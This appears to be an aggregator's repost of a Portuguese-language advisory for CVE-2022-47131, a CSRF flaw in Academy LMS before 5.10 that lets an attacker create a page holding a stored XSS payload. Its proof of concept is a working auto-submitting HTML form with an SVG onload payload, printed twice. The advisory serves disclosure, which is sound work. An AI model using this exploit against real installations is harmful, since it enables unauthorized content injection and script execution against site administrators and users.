Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-47131: Academy LMS < 5.10 CSRF + XSS Stored

A Cross-Site Request Forgery (CSRF) in Academy LMS before v5.10 allows an attacker to arbitrarily create a page.

CVE
#xss#csrf#web

Descrição

O Academy LMS é uma aplicação onde pessoas conseguem criar e anunciar cursos. O recurso de adicionar um a nova página está vulnerável a CSRF, pois não há nenhuma token que faz com que esse ataque seja evitado. Além disso, essa página pode ser usada para carregar um payload de XSS de forma armazenada.

Prova de Conceito (POC)

O primeiro passo para a nossa prova de conceito é autenticar na plataforma com usuário administrativo.

Após isso, basta acessar a página que contém o código para a exploração da vulnerabilidade, veja que na página inicial do site será adicionado um novo botão.

Acessando a nova página criada, podemos confirmar a existência de um XSS armazenado.

Código usado na exploração:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://target.com/admin/custom_page/add" method="POST">
      <input type="hidden" name="page&#95;title" value="CSRF&#32;XSS" />
      <input type="hidden" name="page&#95;content" value="&quot;&gt;&lt;svg&#32;onload&#61;alert&#40;document&#46;domain&#41;&#59;&gt;" />
      <input type="hidden" name="files" value="" />
      <input type="hidden" name="button&#95;title" value="CSRF&#32;XSS" />
      <input type="hidden" name="button&#95;position" value="header" />
      <input type="hidden" name="page&#95;url" value="xss" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://target.com/admin/custom_page/add" method="POST">
      <input type="hidden" name="page&#95;title" value="CSRF&#32;XSS" />
      <input type="hidden" name="page&#95;content" value="&quot;&gt;&lt;svg&#32;onload&#61;alert&#40;document&#46;domain&#41;&#59;&gt;" />
      <input type="hidden" name="files" value="" />
      <input type="hidden" name="button&#95;title" value="CSRF&#32;XSS" />
      <input type="hidden" name="button&#95;position" value="header" />
      <input type="hidden" name="page&#95;url" value="xss" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Versões Afetadas

Academy LMS - < 5.10

Pesquisador

  • Vinícius Alves

Classificação

Type: Cross-Site Request Forgery / Cross-Site Scripting
OWASP TOP 10: A01:2021 - Broken Access Control
OWASP TOP 10: A03:2021-Injection
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE: CWE-352: Cross-Site Request Forgery (CSRF)

Type: Cross-Site Request Forgery / Cross-Site Scripting
OWASP TOP 10: A01:2021 - Broken Access Control
OWASP TOP 10: A03:2021-Injection
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE: CWE-352: Cross-Site Request Forgery (CSRF)

CVE

CVE-2022-47131

Referencias

  • PortSwigger
  • YoutTube Video

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda